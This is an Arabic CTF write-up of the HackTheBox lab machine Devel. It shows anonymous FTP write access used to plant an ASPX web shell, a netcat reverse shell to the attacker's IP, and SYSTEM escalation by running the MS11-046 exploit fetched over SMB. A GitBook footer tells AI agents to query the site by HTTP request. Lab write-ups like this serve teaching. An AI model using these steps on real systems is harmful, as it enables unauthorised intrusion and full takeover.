> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md).

# شرح Devel HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Devel>" %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/b6a9f9bbd683f3875ada0e3c9ffc90f66c3f86f8" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/f2851295dc3082d235b773276d7d45aaedf19ab2" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.5 -oG allPorts
```

<figure><img src="/files/95a06b5bc02f55fb3454feefe673a847f5645677" alt="" width="563"><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدام دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة.

<figure><img src="/files/8468c29c8339cdb5eb7b6f6d568eadd2316ff021" alt="" width="563"><figcaption></figcaption></figure>

**فحص إصدارات المنافذ باستخدام Nmap:**

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p21,80 10.10.10.5 -oN targeted
```

<figure><img src="/files/7b2b45eec2d643ce9d933770032a88bcaeb20a1d" alt=""><figcaption></figcaption></figure>

## **تحليل الخدمة**

### **المنفذ 21 - FTP**

خادم FTP متاح باستخدام بيانات اعتماد مجهولة. ومن خلال استكشاف دليل FTP، نعثر على ثلاثة ملفات:

* **`aspnet_client`**
* **`iisstart.htm`**
* **`welcome.png`**

<figure><img src="/files/f95807bcd53ded93e806c8d6f493dc213911ca52" alt=""><figcaption></figcaption></figure>

الصورة **`welcome.png`** يبدو أنها لافتة قياسية.

<figure><img src="/files/c6c59f3c24cbd5ab3ccb01ece094f1309a412837" alt=""><figcaption></figcaption></figure>

### المنفذ 80 - HTTP:

يعرض خادم HTTP صفحة تحمل نفس اللافتة الموجودة على FTP. وهذا يشير إلى أن الموقع يسترجع ملفاته مباشرةً من خادم FTP.

<figure><img src="/files/f2651a7b86fb3a91fa65e9645aba59e3825b5415" alt=""><figcaption></figcaption></figure>

#### **اختبار الكتابة على FTP**

من خلال اختبار أذونات الكتابة على خادم FTP، نؤكد أنه من الممكن إضافة ملفات باستخدام الأمر

```bash
put test.txt
```

<figure><img src="/files/21c69e1de23b1afb4b00079a5e959eeb79af03db" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2f8feb58cdbc3b162d20ed020e0dea1a820f242b" alt=""><figcaption></figcaption></figure>

## **الاستغلال - غلاف عكسي عبر FTP**

### **رفع Web Shell لـ ASPX**

نستخدم Web Shell موجودًا مسبقًا، **`cmd.aspx`**، من SecLists:

```bash
locate cmd.aspx
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

ثم نستورده إلى خادم FTP:

```bash
ftp 10.10.10.5
anonymous
put aspx_cmd.aspx
```

نصل إلى Web Shell عبر خادم HTTP وننفذ أوامر، على سبيل المثال:

```bash
ipconfig
```

<figure><img src="/files/1bcb0e5b7cbae70bdff06307ced9c42c3820fabc" alt=""><figcaption></figcaption></figure>

### **ارفع `nc.exe` الملف الثنائي لغلاف عكسي**

نقوم بتنزيل **`nc.exe`** من SecLists:

```bash
locate nc.exe 
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

ثم نضيفه إلى خادم FTP:

```bash
ftp 10.10.10.5
anonymous
put nc.exe
```

من Web Shell، نحدد موقع **`nc.exe`** الملف على الخادم المستهدف:

```powershell
dir /s C:/nc.exe
```

### **إعداد الغلاف العكسي**

<figure><img src="/files/3299dd75fcf86cc64edbf4a848dd45a484cc933f" alt=""><figcaption></figcaption></figure>

**استمع إلى المنفذ 443:**

نقوم بإعداد مستمع باستخدام `nc` ليستمع على المنفذ 443:

```bash
rlwrap nc -nvlp 443
```

من الجهاز المستهدف، ننفذ الأمر التالي عبر Web Shell:

```powershell
C:/inetpub/wwwroot/nc.exe -e cmd 10.10.14.26 443
```

<figure><img src="/files/e52b1ed7b24ec256037ef3fc6dff3bfe0fae3b91" alt=""><figcaption></figcaption></figure>

## **تصعيد الامتيازات**

### استغلال النواة <a href="#kernel-exploitation" id="kernel-exploitation"></a>

#### **فحص معلومات النظام**

باستخدام **`systeminfo`** من خلال الأمر، نحدد أن الجهاز يستخدم **Windows 7 Enterprise**، مما يفتح إمكانية استغلال ثغرات معروفة لهذا الإصدار.

```powershell
systeminfo
```

تخبرنا النتيجة أن الجهاز يستخدم **Windows 7 Enterprise**، بالإصدار التالي:

```plaintext
OS VERSION: 6.1.7600 N/A Build 7600
```

<figure><img src="/files/b36bc61538b2e5965710db8950c2e0bb85a18cb9" alt=""><figcaption></figcaption></figure>

### **استغلال ثغرة MS11-046** <a href="#ms11-046-vulnerability-exploitation" id="ms11-046-vulnerability-exploitation"></a>

وهذا يتيح لنا معرفة أن الجهاز قد يكون عرضة لبعض الثغرات المعروفة، مثل **MS11-046**، وهي ثغرة في الخدمة **Windows SMB**.

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS11-046>" %}

> ثغرة **MS11-046** تسمح لمهاجم بتنفيذ أوامر عن بُعد بامتيازات **NT AUTHORITY/SYSTEM** عبر خدمة SMB. وللاستغلال هذه الثغرة، سننقل ونشغّل ملفًا خبيثًا على الجهاز المستهدف.

<figure><img src="/files/c04c15a2f6dfaac3a1f07d502c64494a1c21a648" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/acac15c43db9501a651b4cce07e5857a8e4f7917" alt=""><figcaption></figcaption></figure>

### نقل الملفات في Windows (smb) <a href="#file-transfer-windows" id="file-transfer-windows"></a>

> نستخدم **smbserver.py** لمشاركة دليل يحتوي على ملف الاستغلال **ms11-046.exe**. ثم يُنسخ هذا الملف إلى الجهاز المستهدف.

```bash
smbserver.py share $(pwd) -smb2support
```

من الجهاز الهدف، قمنا بنسخ الملف الخبيث باستخدام أمر SMB:

```powershell
copy //10.10.14.26/share/ms11-046.exe ms11.exe
```

<figure><img src="/files/b7657a1230a05e79c3b3aeb29c6f8e633dd910b9" alt=""><figcaption></figcaption></figure>

**تنفيذ العملية**

بمجرد نقل الملف، نقوم بتشغيل **ms11-046.exe** على الجهاز المستهدف لاستغلال الثغرة والحصول على غلاف بامتيازات SYSTEM. وللقيام بذلك، نستخدم الأمر التالي:

```powershell
./ms11.exe
```

<figure><img src="/files/17de5bb923420b39b0b3e5fbcab886d40382dd71" alt=""><figcaption></figcaption></figure>

### الراية user.txt :)

<figure><img src="/files/cd7b26af0e3c621a7117826a9647fda2d4bf03ed" alt="" width="563"><figcaption></figcaption></figure>

### العلم root.txt :)

<figure><img src="/files/f23c131db6134206b03dc8071fe2af5530e63dd4" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/1da2d40bf603ccd46b0eae8c24dd13465ce6f7c4" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
